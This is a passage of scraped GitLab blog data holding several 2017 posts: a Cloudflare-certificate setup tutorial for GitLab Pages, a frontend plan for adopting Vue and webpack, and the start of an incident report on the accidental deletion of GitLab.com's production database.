Ruins - Chichén Itzá\n      \u003C/div>\n    \u003C/div>\n    \u003Cdiv class=\"item\">\n      \u003Cimg src=\"/images/blogimages/gitlab-mexico-summit-2017/gogame.jpg\" alt=\"Go Game\">\n      \u003Cdiv class=\"carousel-caption\">\n        Scavenger Hunt - Go Game - Rémy Coutable and Kyla Gradin\n      \u003C/div>\n    \u003C/div>\n    \u003Cdiv class=\"item\">\n      \u003Cimg src=\"/images/blogimages/gitlab-mexico-summit-2017/capture-the-flag.jpg\" alt=\"Capture the Flag\">\n      \u003Cdiv class=\"carousel-caption\">\n        Capture the Flag and our Tanuki\n      \u003C/div>\n    \u003C/div>\n    \u003Cdiv class=\"item\">\n      \u003Cimg src=\"/images/blogimages/gitlab-mexico-summit-2017/poker-chips.jpg\" alt=\"Casino Night - Poker Chips\">\n      \u003Cdiv class=\"carousel-caption\">\n        Casino Night Swag - Poker Chips\n      \u003C/div>\n    \u003C/div>\n  \u003C/div>\n\n  \u003C!-- Controls -->\n  \u003Ca class=\"left carousel-control\" href=\"#carousel-example-generic\" role=\"button\" data-slide=\"prev\">\n    \u003Cspan class=\"glyphicon glyphicon-chevron-left\" aria-hidden=\"true\">\u003C/span>\n    \u003Cspan class=\"sr-only\">Previous\u003C/span>\n  \u003C/a>\n  \u003Ca class=\"right carousel-control\" href=\"#carousel-example-generic\" role=\"button\" data-slide=\"next\">\n    \u003Cspan class=\"glyphicon glyphicon-chevron-right\" aria-hidden=\"true\">\u003C/span>\n    \u003Cspan class=\"sr-only\">Next\u003C/span>\n  \u003C/a>\n\u003C/div>\n\n\u003C!-- gifs -->\n\u003Cbr>\n\u003Cdiv class=\"row text-center\">\n  \u003Cdiv class=\"col-md-6 col-xm-12\">\n    \u003Cfigure>\n      \u003Cimg src=\"/images/blogimages/gitlab-mexico-summit-2017/sam-rose-cenote.gif\" alt=\"Sam Rose - cenote\">\n      \u003Cfigcaption>Sam Rose acrobatically ziplining into a cenote\u003C/figcaption>\n    \u003C/figure>\n  \u003C/div>\n  \u003Cdiv class=\"col-md-6 col-xm-12\">\n    \u003Cfigure>\n      \u003Cimg src=\"/images/blogimages/gitlab-mexico-summit-2017/dimitrie-hoekstra-cenote.gif\" alt=\"Dimitrie Hoekstra - cenote\">\n      \u003Cfigcaption>Dimitrie Hoekstra ziplining into a cenote\u003C/figcaption>\n    \u003C/figure>\n  \u003C/div>\n\u003C/div>\n\u003Cbr>\n\n## Getting together\n\nAs always, the highlight of the trip was just getting to meet everyone.\nThe best thing about working at GitLab is the people. We have somehow\nmanaged to collect the most dedicated, thoughtful, and hardworking group\nof individuals around the world. Being in one place is exhausting, because\nthere are so many wonderful people to meet, but it's also so inspiring. You get\nto hear about the diverse projects everyone is working on and their innovative\nsolutions and you feel inspired by their passion and creativity.\nIt made us so excited for 2017, knowing how much enthusiasm we are going\nto bring and the potential we have to continue to build an excellent company\nand product.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/XDfTj8iv9qw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n\nHow about joining us at the next GitLab Summit? Check out our [job openings]\nand apply right now!\n\n\u003C!-- identifiers -->\n\n[job openings]: /jobs/\n[sid]: /company/team/#sytses\n[team summit]: /events/gitlab-contribute/\n\n\u003C!-- custom styles -->\n\n\u003Cstyle>\n\t.carousel-inner > .item > img{\n\t\twidth: 100%;\n\t}\n\t.blog.article .body ol {\n\t\tmargin-bottom: 10px !important;\n\t}\n\u003C/style>\n",{"slug":36379,"featured":6,"template":678},"gitlab-mexico-summit-2017","content:en-us:blog:gitlab-mexico-summit-2017.yml","Gitlab Mexico Summit 2017","en-us/blog/gitlab-mexico-summit-2017.yml","en-us/blog/gitlab-mexico-summit-2017",{"_path":36385,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36386,"content":36391,"config":36395,"_id":36397,"_type":16,"title":36398,"_source":17,"_file":36399,"_stem":36400,"_extension":20},"/en-us/blog/setting-up-gitlab-pages-with-cloudflare-certificates",{"title":36387,"description":36388,"ogTitle":36387,"ogDescription":36388,"noIndex":6,"ogImage":11141,"ogUrl":36389,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36389,"schema":36390},"Setting up GitLab Pages with Cloudflare Certificates","How to set up GitLab Pages with a Cloudflare SSL/TLS Certificate for your (sub)domain","https://about.gitlab.com/blog/setting-up-gitlab-pages-with-cloudflare-certificates","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Setting up GitLab Pages with Cloudflare Certificates\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marcia Ramos\"}],\n        \"datePublished\": \"2017-02-07\",\n      }",{"title":36387,"description":36388,"authors":36392,"heroImage":11141,"date":36393,"body":36394,"category":734},[34953],"2017-02-07","[Cloudflare SSL/TLS certificates][cert] are free to use.\nIf you want your [GitLab Pages] site to work with them,\nit's as simple as could be. There's just a **trick**\nyou might not know about (yet)!\n\nWe assume you're familiar with SSL/TLS, DNS, GitLab Pages,\nand Cloudflare.\n\n## Introduction\n\nWith [GitLab Pages], you can [deploy a static website][pages-setup-post]\nwith custom domains/subdomains and SSL/TLS support.\n\nThis tutorial responds to the issue\n\"[Support Cloudflare CA please!](https://gitlab.com/pages/pages.gitlab.io/issues/29)\",\nand other cases where GitLab users asked specifically how\nto add a Cloudflare certificate to GitLab Pages. 😉 Anything else\nis outside the scope of this post.\n\nIf you don't know how to set up your GitLab Pages site, or why you\nshould care about SSL/TLS:\n\n- Take a look at the [GitLab Pages] overview\n- Read the step-by-step tutorial [Hosting on GitLab.com with GitLab Pages][pages-setup-post]\n- Read the series \"**Static Site Generators** (SSGs)\":\n  - [SSGs Part 1: Static vs Dynamic Websites][ssg-1]\n  - [SSGs Part 2: Modern Static Site Generators][ssg-2]\n  - [SSGs Part 3: Build any SSG site with GitLab Pages][ssg-3]\n- Read the [documentation on GitLab Pages][pages-docs]\n- Read an [overview on the importance of HTTPS][post-startssl]\n\nIn case you don't know about it yet, we're bringing [GitLab Pages to GitLab Community Edition][pages-ce]! 🎉\n\n## Step-by-step quick guide\n\nTo create this step-by-step guide, I'll use my subdomain\n`https://cloudflare.marcia.ml` as an alias for the website\noriginally deployed to \u003Chttps://gitlab-tests.gitlab.io/jekyll>.\n\nThe codebase is a simple [Jekyll] site built with its default\ntheme, available at \u003Chttps://gitlab.com/gitlab-tests/jekyll>.\n\n### STEP 1. DNS record\n\nOn Cloudflare, navigate to the tab **DNS** and create a new\nDNS record ([`CNAME`][cname] or [`A`][a]) pointing your\nsubdomain (`CNAME`) or root domain (`A`)\n[to your GitLab Pages site][pages-setup-domains].\n\nThe image below shows both `CNAME` and `A` records\n(for the purposes of this demo), but of course, you will only\nneed one of them. For this example, I used the `CNAME` record pointing `gitlab-tests.gitlab.io` to my subdomain `cloudflare.marcia.ml`:\n\n![set up Cloudflare DNS](https://about.gitlab.com/images/blogimages/setting-up-gitlab-pages-with-cloudflare-certificates/cloudflare-dns-settings.jpg)\n\nFor projects on GitLab.com, the DNS `A` record should point your custom\ndomain to [GitLab Pages][pages-ip]' server IP address `35.185.44.232`.\n\n**Note:** This GitLab Pages IP address for GitLab.com changed from `52.167.214.135` to `35.185.44.232` in August 2018.\n\nIf you'd already set this up, just jump to the second step.\n\n### STEP 2. Generate your certificate\n\n1. Navigate to the tab **Crypto**.\n1. Generate your certificate:\n\n    ![generate certificate](https://about.gitlab.com/images/blogimages/setting-up-gitlab-pages-with-cloudflare-certificates/generate-certificate.png)\n\n1. Choose the domain, subdomain, or wildcard to apply the cert to, then click **Next**:\n\n    ![choose-domain](https://about.gitlab.com/images/blogimages/setting-up-gitlab-pages-with-cloudflare-certificates/certificate-setup.png)\n\n1. Your certificate and private key have been generated. Leave the tab and the modal window open:\n\n    ![modal with certificate](https://about.gitlab.com/images/blogimages/setting-up-gitlab-pages-with-cloudflare-certificates/modal-window.png)\n\n### STEP 3. Add the custom (sub)domain and the certificate to your GitLab Pages project\n\nFrom a new tab, go to GitLab, and navigate to your project's **Settings** > **Pages** > **+ New Domain**:\n\n![configure GitLab Pages](https://about.gitlab.com/images/blogimages/setting-up-gitlab-pages-with-cloudflare-certificates/configure-gitlab-pages.png)\n\nCopy the PEM certificate and the private key from the tab you've\nleft open on Cloudflare, and paste it into their respective fields in GitLab:\n\n![Add PEM certificate to Pages](https://about.gitlab.com/images/blogimages/setting-up-gitlab-pages-with-cloudflare-certificates/add-certificate-to-pages.png)\n\n### STEP 4. The trick\n\nCloudflare doesn't combine both PEM and root certificates in one,\nso we need to copy the root certificate (aka \"intermediate\")\n**[Cloudflare Origin CA — RSA Root][root]** from the code block\nbelow, and **paste it below your certificate (PEM)** just added to GitLab:\n\nCopy Cloudflare's Origin CA — RSA Root:\n\n```\n-----BEGIN CERTIFICATE-----\nMIIEADCCAuigAwIBAgIID+rOSdTGfGcwDQYJKoZIhvcNAQELBQAwgYsxCzAJBgNV\nBAYTAlVTMRkwFwYDVQQKExBDbG91ZEZsYXJlLCBJbmMuMTQwMgYDVQQLEytDbG91\nZEZsYXJlIE9yaWdpbiBTU0wgQ2VydGlmaWNhdGUgQXV0aG9yaXR5MRYwFAYDVQQH\nEw1TYW4gRnJhbmNpc2NvMRMwEQYDVQQIEwpDYWxpZm9ybmlhMB4XDTE5MDgyMzIx\nMDgwMFoXDTI5MDgxNTE3MDAwMFowgYsxCzAJBgNVBAYTAlVTMRkwFwYDVQQKExBD\nbG91ZEZsYXJlLCBJbmMuMTQwMgYDVQQLEytDbG91ZEZsYXJlIE9yaWdpbiBTU0wg\nQ2VydGlmaWNhdGUgQXV0aG9yaXR5MRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRMw\nEQYDVQQIEwpDYWxpZm9ybmlhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC\nAQEAwEiVZ/UoQpHmFsHvk5isBxRehukP8DG9JhFev3WZtG76WoTthvLJFRKFCHXm\nV6Z5/66Z4S09mgsUuFwvJzMnE6Ej6yIsYNCb9r9QORa8BdhrkNn6kdTly3mdnykb\nOomnwbUfLlExVgNdlP0XoRoeMwbQ4598foiHblO2B/LKuNfJzAMfS7oZe34b+vLB\nyrP/1bgCSLdc1AxQc1AC0EsQQhgcyTJNgnG4va1c7ogPlwKyhbDyZ4e59N5lbYPJ\nSmXI/cAe3jXj1FBLJZkwnoDKe0v13xeF+nF32smSH0qB7aJX2tBMW4TWtFPmzs5I\nlwrFSySWAdwYdgxw180yKU0dvwIDAQABo2YwZDAOBgNVHQ8BAf8EBAMCAQYwEgYD\nVR0TAQH/BAgwBgEB/wIBAjAdBgNVHQ4EFgQUJOhTV118NECHqeuU27rhFnj8KaQw\nHwYDVR0jBBgwFoAUJOhTV118NECHqeuU27rhFnj8KaQwDQYJKoZIhvcNAQELBQAD\nggEBAHwOf9Ur1l0Ar5vFE6PNrZWrDfQIMyEfdgSKofCdTckbqXNTiXdgbHs+TWoQ\nwAB0pfJDAHJDXOTCWRyTeXOseeOi5Btj5CnEuw3P0oXqdqevM1/+uWp0CM35zgZ8\nVD4aITxity0djzE6Qnx3Syzz+ZkoBgTnNum7d9A66/V636x4vTeqbZFBr9erJzgz\nhhurjcoacvRNhnjtDRM0dPeiCJ50CP3wEYuvUzDHUaowOsnLCjQIkWbR7Ni6KEIk\nMOz2U0OBSif3FTkhCgZWQKOOLo1P42jHC3ssUZAtVNXrCk3fw9/E15k8NPkBazZ6\n0iykLhH1trywrKRMVw67F44IE8Y=\n-----END CERTIFICATE-----\n```\n\nPaste it below your PEM certificate (jump a line between the\nlast row of your cert `-----END CERTIFICATE-----` and the\nfirst row of the intermediate cert `-----BEGIN CERTIFICATE-----`):\n\n![Add intermediate certificate](https://about.gitlab.com/images/blogimages/setting-up-gitlab-pages-with-cloudflare-certificates/add-intermediate-certificate.png){:.shadow}\n\n### STEP 5. Apply the changes\n\n1. Click **Create New Domain**.\n1. Ta-da! 🎉\n\n    ![Screen_Shot_2016-12-21_at_13.52.02](https://about.gitlab.com/images/blogimages/setting-up-gitlab-pages-with-cloudflare-certificates/certificate-added.png){:.shadow}\n\nIt works fine with the encryption set to _\"Full\"_ or _\"Full (strict)\"_ on Cloudflare:\n\n![Set Cloudflare SSL to full strict](https://about.gitlab.com/images/blogimages/setting-up-gitlab-pages-with-cloudflare-certificates/cloudflare-settings-ssl-strict.png)\n\n## Wrap up\n\nThat's it, now your site runs on HTTPS with a custom domain\nand a free Cloudflare certificate, valid up to 15 years!\n\nComments, questions, suggestions? Please comment below or tweet [@GitLab]! 😀\n\n----\n\n[Cover image] by [Rita Morais], licensed under [CC0 1.0][cc].\n\n\u003C!-- identifiers -->\n\n[@GitLab]: https://twitter.com/gitlab\n[a]: https://support.dnsimple.com/articles/a-record/\n[cc]: https://unsplash.com/license\n[cert]: https://www.cloudflare.com/ssl/\n[cloudflare]: https://www.cloudflare.com\n[cname]: https://en.wikipedia.org/wiki/CNAME_record\n[Cover image]: https://unsplash.com/collections/427463/locks?photo=q6vBEPqsojc\n[GitLab Pages]: https://pages.gitlab.io\n[Jekyll]: https://jekyllrb.com/\n[pages-ce]: /releases/2016/12/24/were-bringing-gitlab-pages-to-community-edition/\n[pages-docs]: http://doc.gitlab.com/ee/pages/README.html#getting-started-with-gitlab-pages\n[pages-ip]: https://docs.gitlab.com/ee/user/gitlab_com/#gitlab-pages\n[pages-setup-domains]: /blog/gitlab-pages-setup/#custom-domains\n[pages-setup-post]: /blog/gitlab-pages-setup/\n[post-startssl]: /2016/06/24/secure-gitlab-pages-with-startssl/#https-a-quick-overview\n[Rita Morais]: https://unsplash.com/@moraisr\n[root]: https://support.cloudflare.com/hc/en-us/articles/218689638\n[ssg-1]: /blog/ssg-overview-gitlab-pages-part-1-dynamic-x-static/\n[ssg-2]: /blog/ssg-overview-gitlab-pages-part-2/\n[ssg-3]: /blog/ssg-overview-gitlab-pages-part-3-examples-ci/\n[static site]: /blog/ssg-overview-gitlab-pages-part-1-dynamic-x-static/",{"slug":36396,"featured":6,"template":678},"setting-up-gitlab-pages-with-cloudflare-certificates","content:en-us:blog:setting-up-gitlab-pages-with-cloudflare-certificates.yml","Setting Up Gitlab Pages With Cloudflare Certificates","en-us/blog/setting-up-gitlab-pages-with-cloudflare-certificates.yml","en-us/blog/setting-up-gitlab-pages-with-cloudflare-certificates",{"_path":36402,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36403,"content":36409,"config":36413,"_id":36415,"_type":16,"title":36416,"_source":17,"_file":36417,"_stem":36418,"_extension":20},"/en-us/blog/vue-big-plan",{"title":36404,"description":36405,"ogTitle":36404,"ogDescription":36405,"noIndex":6,"ogImage":36406,"ogUrl":36407,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36407,"schema":36408},"Our big Frontend plan revealed","Our long term plan to make GitLab as fast and performant as possible with Vue and webpack.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683983/Blog/Hero%20Images/vue-big-plan-cover.png","https://about.gitlab.com/blog/vue-big-plan","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Our big Frontend plan revealed\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jacob Schatz\"}],\n        \"datePublished\": \"2017-02-06\",\n      }",{"title":36404,"description":36405,"authors":36410,"heroImage":36406,"date":36411,"body":36412,"category":734},[31897],"2017-02-06","\n\nThe Frontend at GitLab is getting better and better every day. Today we did two big things, and I'd like to share them with you and our big plans for the future.\n\n\u003C!--more-->\n\n\u003Cblockquote style=\"color: red\">\n\u003Cul>\n  \u003Cli>If you use the GDK, then make sure you update it! If you have no idea what I am talking about, then just keep reading.\u003C/li>\n  \u003Cli>Please see the \u003Ca href='https://gitlab.com/gitlab-org/gitlab-development-kit/blob/master/doc/update-gdk.md'>documentation\u003C/a> for instructions on updating your GDK.\u003C/li>\n  \u003Cli>Please see our \u003Ca href='https://gitlab.com/gitlab-org/gitlab-development-kit/blob/master/doc/howto/troubleshooting.md#webpack'>troubleshooting guide\u003C/a> for any issues when updating your GDK.\u003C/li>\n  \u003Cli>Feel free to \u003Ca href='https://gitlab.com/gitlab-org/gitlab-ce/issues/new'>report\u003C/a> any additional issues you find.\u003C/li>\n\u003C/ul>\n\u003C/blockquote>\n\n## Our big Frontend plan\n\n[Vue](https://vuejs.org/) is awesome. I wrote an article a while ago that showed [GitLab's love for Vue](/blog/why-we-chose-vue/). Today's article is a way to show our plan over the long term to make GitLab as fast and performant as possible with Vue and webpack. We want to make GitLab the easiest to develop for Frontend Developers.\n\nOne of the lessons I live by is \"It's not _always_ about the tools you use, but **how** you use them.\"  Saying \"we chose Vue\", does not imply success. This also means that we could be using Angular or React and have just as awesome of a product. Vue is simply the way there.\n\nHow do we plan to use Vue over the long run to make GitLab better, faster, easier and more awesome?\n\nThe plan below is a work in progress and very ambitious, but I believe that it will result in a much better frontend for development and performance. This document is also a reference to myself of the things we plan to do here at GitLab's Frontend.\n\n## A healthier Frontend\n\nWhen I started at GitLab, our stack was (oversimplifying here) Rails with jQuery. It hasn't changed much big picture wise except for Vue. Smaller picture, we've added many linters, better code coverage, and many other great things.\n\n### 1. Rewrite only what you need to\n\nWe are not rewriting GitLab's frontend entirely in Vue. That would be a very bad idea. It's not a bad idea for everyone, but it's a bad idea for a startup. It would cost a tremendous amount of time and money. The existing jQuery code (although some say is uncool) has been tested and works very well. There is no need to rewrite functionality that works well, unless there is going to be a major gain.\n\nWe also aren't writing every new thing in Vue. You do not need to do this either. But, it would be hard to find some part of the UI that would not benefit from even the simplest parts of Vue.\n\nExamples of this are:\n\n1. The issue page (which shows an individual issue), has a lot of jQuery on it. We won't rewrite now, because it works well. We will rewrite small parts in Vue once we make certain features more real-time. We are currently making the title and description real time.\n\n1. The [Issue Boards](/stages-devops-lifecycle/issueboard/), which [Phil](https://twitter.com/iamphill) wrote, was a perfect candidate for Vue. It was a brand new feature and had lots of reactive parts.\n\n1. The current issue page loads all comments at once and adds lots of event listeners to the page. This page could benefit from Vue for performance reasons. We could make the comment section a Vue app and make the comments a component with the emoji picker as components as well, etc. While we're in there, we'll amp up the UX by allowing you to see the comment you linked to immediately without waiting. There are better ways to show massive amounts of comments so we have to potentially rethink that.\n\n1. The pipelines page rewritten in vue for the arrival of real time updating.\n\n1. The environments was written in Vue.\n\n1. There are many other places where we will be using Vue in the future and where we are already using Vue. Too many to list here.\n\nAs you can see, we won't just slap Vue on everything.\n\n### 2. Add in webpack\n\nRails has this awesome system of grabbing your Ruby libraries and bundling them into your app. `bundle install` will install all the stuff you need from your `Gemfile`. So why does Frontend have to stick all their libraries in the `vendor` directory? Are we not on point enough to have our own library delivery system? The javascript ecosystem has matured since the asset pipeline first arrived, and we now have `npm install` and advanced code bundling tools that we can take advantage of.\n\nBy [introducing webpack into the equation (merged and ready for action!)](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/7288) we gain multiple benefits.\n\n1. Javascript libraries aren't being bundled directly with the [GitLab source code](/solutions/source-code-management/) or included within gem wrappers. e.g. `jquery-ui` or `bootstrap-rails` are included as a ruby gem and we are at the mercy of the gem maintainer to keep the Javascript library up to date.\n1. When code is shared between files, we can make sure we don't load [lodash](https://lodash.com/) twice, for example. If both files load lodash, we should only load the code for lodash once. Not only will lodash not be included twice, but with [tree shaking](https://webpack.js.org/guides/tree-shaking/) only the components of lodash that we use will be included rather than the whole library.\n1. We can add [hot module replacement](https://webpack.js.org/concepts/hot-module-replacement/) to make our Vue development quicker. This is a development bonus, as our current development takes loads of time to refresh the page while developing GitLab. Spicy!\n1. We can now manage our dependencies properly. This should help a lot of frontenders to contribute to GitLab. Devs won't need to figure out the whole Rails Javascript situation in order to contribute. We can also dictate manually what we want to include.\n1. SVGs are going to be huge.\n    1. [webpack](https://webpack.js.org/) bundles SVGs directly into our Javascript.\n    1. Right now, SVGs live in a specific directory in Rails. We use Rails helpers to pull in SVGs. With webpack we can pull in SVGs one at a time because webpack precompiles assets.\n    1. We won't have to fetch SVGs with an HTTP request.\n    1. We don't have to do tricky HTML hidden elements which is technical debt.\n    1. We don't have to mess around with SVGs in CSS. You cannot change the color of SVGs in CSS.\n1. We use a lot of Ruby to solve Javascript and CSS problems. Now we can solve those problems on our own using only frontend tools.\n1. Using webpack's [CommonsChunkPlugin](https://webpack.js.org/plugins/commons-chunk-plugin/) we split all of our common vendor libraries into their own separate file. Since these change very infrequently, they can stay cached for a much longer period of time.\n1. With webpack's [code splitting](https://webpack.js.org/guides/code-splitting/) feature you can load just the JS you need to boot. Then you do a `require.ensure()` or `System.import()`. With this, we can tell webpack to request only exact JS you need. It keeps the size of the file really small. For example if you have `modal.js` for modals. If someone never uses the modals the code never loads. As soon as someone opens a modal, the JS gets loaded on demand.\n1. We can now properly manage our global scope. We can now do a `import x from y` instead of having our scripts pollute the global scope and pass classes around on `window.gl.lol`.\n1. We can slim down the our Vue bundles because we can precompile templates and omit the template compiler from our production code. [Evan You](https://twitter.com/youyuxi) (the creator of VueJS) explains this in the [feature overview for Vue 2.0](https://github.com/vuejs/vue/issues/2873):\n  > There will be two different builds:\n  > - Standalone build: includes both the compiler and the runtime. ...\n  > - Runtime only build: since it doesn't include the compiler, you need to either pre-compiled templates in a compile step, or manually written render functions.\n\n\n### 3. Remove Turbolinks\n\nWe used [TurboLinks](https://github.com/turbolinks/turbolinks) in GitLab, but we've recently [removed it](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/8570) with the linked merge request, merged on 2017/02/03.\n\n#### What does Turbolinks achieve?\n\nWith TurboLinks, clicking a link won't navigate to a new page in the default browser `GET` request way. Instead, Turbolinks will replace the `body` tag of your app with the new content. All your Javascript is loaded one time, when using the asset pipeline. This usually only loads some small HTML and JavaScript. On GitLab, our pages would load an average of 20kb on each page load versus the full JavaScript file size of 800kb+. Turbolinks is a great solution for many projects. When you start introducing slightly more complex Javascript it becomes a pain.\nWe did speed tests on pages with Turbolinks and without Turbolinks and we found that the pages without Turbolinks performed better. We discovered that Turbolinks works well when you don't have a lot of event listeners to manage. To add to this, we will be able to make our pages even faster in the future because we will divide the Javascript up between pages better with the help of webpack. We were previously writing a lot of extra code to handle all of Turbolink's problems and we can remove that code now.\n\n#### The problem we need to solve\n\nWhen your JS is loaded one time for multiple pages, events become a major problem. If you are using `gem 'jquery-turbolinks'` as we are, then the `$` `ready` function will fire on every page load even though the page isn't loading in the traditional sense. It's painful to write page specific Javascript without including it for the whole app. We do it and it's fine, but, why? There really isn't a reason for a lot of our JS that needs to be included on every page.\n\nAny external links do load faster so, we need to be careful about performance.\n\nIf you aren't careful, your events will get loaded multiple times and thus fire multiple times. For example, take the following code:\n\n```js\n$(function(){\n  $(document).on('click','.some-element', function(){\n    console.log('Click loaded');\n  }\n});\n```\n\nThat click event will be loaded on every page and thus fire multiple times every time `.some-element` is clicked.\n\n#### The Solutions\nThere are a few remedies to this problem. Some are good and some are bad.\n\n1. Don't create events in `$` `ready` callbacks.\n2. Use the following stinky solution:\n\n    ```js\n    $(document)\n    .off('click', '.some-element')\n    .on('click'...\n    ```\n\n     I call this the `die live` method. Old jQuery code people use to write `die().live()` everywhere. That's the old school jQuery `off().on()`.\n3. Write an event manager to be a delegate for all added events.\n4. [Remove Turbolinks](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/8570) and make sure you load only the code you need on each page.\n\nI am opting for option 4, in order to make our development lives easier and get multiple performance gains.\n\n#### The Bonus\n\nAfter we remove Turbolinks we can do something really cool. We can have each page live on its own. Then, certain pages can be their own Vue apps. For example, we can make the file browser its own Vue application. The merge request page can be its own application. The code for the file viewer won't need to be loaded on any other page and the same goes for other pages. This is not anything new, this is just basic web development. This is also not a new paradigm, and we would not be the first.\n\n## Conclusion\nThere is the argument for making the whole site a single page application, but I think this would just be the hardest to maintain and has zero benefits for the performance and the user. Also, there's a higher chance of making GitLab a janky app. For example, the profile page could be potentially very light, and there would be no reason for that if someone is linked directly to the profile page; it should load every single piece of Javascript in our project.\n\nThis is just one small step for GitLab and one giant leap for the frontend team. In the future you will see many new cool things coming from our team. This move was one step in that direction.\n\nQuestions, suggestions, ideas? Please leave a comment\nbelow or tweet at us [@GitLab](https://twitter.com/gitlab)!\n",{"slug":36414,"featured":6,"template":678},"vue-big-plan","content:en-us:blog:vue-big-plan.yml","Vue Big Plan","en-us/blog/vue-big-plan.yml","en-us/blog/vue-big-plan",{"_path":36420,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36421,"content":36426,"config":36430,"_id":36432,"_type":16,"title":36433,"_source":17,"_file":36434,"_stem":36435,"_extension":20},"/en-us/blog/gitlab-dot-com-database-incident",{"title":36422,"description":36423,"ogTitle":36422,"ogDescription":36423,"noIndex":6,"ogImage":12013,"ogUrl":36424,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36424,"schema":36425},"GitLab.com database incident","Yesterday we had a serious incident with one of our databases. We lost six hours of database data (issues, merge requests, users, comments, snippets, etc.) for GitLab.com.","https://about.gitlab.com/blog/gitlab-dot-com-database-incident","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab.com database incident\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2017-02-01\",\n      }",{"title":36422,"description":36423,"authors":36427,"heroImage":12013,"date":36428,"body":36429,"category":734},[711],"2017-02-01","\n\nUpdate: please see [our postmortem for this incident](/blog/postmortem-of-database-outage-of-january-31/)\n\nYesterday we had a serious incident with one of our databases. We lost six hours of database data (issues, merge requests, users, comments, snippets, etc.) for GitLab.com. Git/wiki repositories and self-managed installations were not affected. Losing production data is unacceptable and in a few days we'll publish a post on why this happened and a list of measures we will implement to prevent it happening again.\n\n_**Update 6:14pm UTC: GitLab.com is back online**_\n\n\u003C!-- more -->\n\nAs of time of writing, we’re restoring data from a six-hour-old backup of our database. This means that any data between 5:20pm UTC and 11:25pm UTC from the database (projects, issues, merge requests, users, comments, snippets, etc.) is lost by the time GitLab.com is live again.\n\n**Git data (repositories and wikis) and self-managed instances of GitLab are not affected.**\n\nRead below for a brief summary of the events. You’re also welcome to view [our active postmortem doc](https://docs.google.com/document/d/1GCK53YDcBWQveod9kfzW-VCxIABGiryG7_z_6jHdVik/pub).\n\n## First incident\n\n\nAt 2017/01/31 6pm UTC, we detected that spammers were hammering the database by creating snippets, making it unstable. We then started troubleshooting to understand what the problem was and how to fight it.\n\n\n\n![](https://about.gitlab.comdb_incident/snippets.png)\n\nAt 2017/01/31 9pm UTC, this escalated, causing a lockup on writes on the database, which caused some downtime.\n\n![](https://about.gitlab.comdb_incident/locks.png)\n\n\n\n### Actions taken\n\n- We blocked the spammers based on IP address\n- We removed a user for using a repository as some form of CDN, resulting in 47 000 IPs signing in using the same account (causing high DB load)\n- We removed users for spamming (by creating snippets)\n\n## Second incident\n\nAt 2017/01/31 10pm UTC, we got paged because DB Replication lagged too far behind, effectively stopping. This happened because there was a spike in writes that were not processed ontime by the secondary database.\n\n![](https://about.gitlab.comdb_incident/used.png)\n\n\n![](https://about.gitlab.comdb_incident/rep_lag.png)\n\n### Actions taken\n\n- Attempt to fix `db2`, it’s lagging behind by about 4 GB at this point\n- `db2.cluster` refuses to replicate, `/var/opt/gitlab/postgresql/data` is wiped to ensure a clean replication\n- `db2.cluster` refuses to connect to `db1`, complaining about `max_wal_senders` being too low. This setting is used to limit the number of `WAL (= replication)` clients\n- _Team-member-1_ adjusts `max_wal_senders` to `32` on `db1`, restarts PostgreSQL\n- PostgreSQL complains about too many semaphores being open, refusing to start\n- _Team-member-1_ adjusts `max_connections` to `2000` from `8000`, PostgreSQL starts again (despite `8000` having been used for almost a year)\n- `db2.cluster` still refuses to replicate, though it no longer complains about connections; instead it just hangs there not doing anything\n- At this point frustration begins to kick in. Earlier this night _team-member-1_ explicitly mentioned he was going to sign off as it was getting late (23:00 or so local time), but didn’t due to the replication problems popping up all of a sudden.\n\n## Third incident\n\nAt 2017/01/31 11pm-ish UTC, _team-member-1_ thinks that perhaps `pg_basebackup` is refusing to work due to the PostgreSQL data directory being present (despite being empty), decides to remove the directory. After a second or two he notices he ran it on `db1.cluster.gitlab.com`, instead of `db2.cluster.gitlab.com`.\n\nAt 2017/01/31 11:27pm UTC, _team-member-1_ - terminates the removal, but it’s too late. Of around 300 GB only about 4.5 GB is left.\n\nWe had to bring GitLab.com down and shared this information on Twitter:\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">We are performing emergency database maintenance, \u003Ca href=\"https://t.co/r11UmmDLDE\">https://t.co/r11UmmDLDE\u003C/a> will be taken offline\u003C/p>&mdash; GitLab.com Status (@gitlabstatus) \u003Ca href=\"https://twitter.com/gitlabstatus/status/826572933304827904\">January 31, 2017\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n## Problems encountered\n\n- LVM snapshots are by default only taken once every 24 hours. _Team-member-1_ happened to run one manually about six hours prior to the outage because he was working in load balancing for the database.\n- Regular backups seem to also only be taken once per 24 hours, though _team-member-1_ has not yet been able to figure out where they are stored. According to _team-member-2_ these don’t appear to be working, producing files only a few bytes in size.\n- _Team-member-3_: It looks like `pg_dump` may be failing because PostgreSQL 9.2 binaries are being run instead of 9.6 binaries. This happens because omnibus only uses Pg 9.6 if data/PG_VERSION is set to 9.6, but on workers this file does not exist. As a result it defaults to 9.2, failing silently. No SQL dumps were made as a result. Fog gem may have cleaned out older backups.\n- Disk snapshots in Azure are 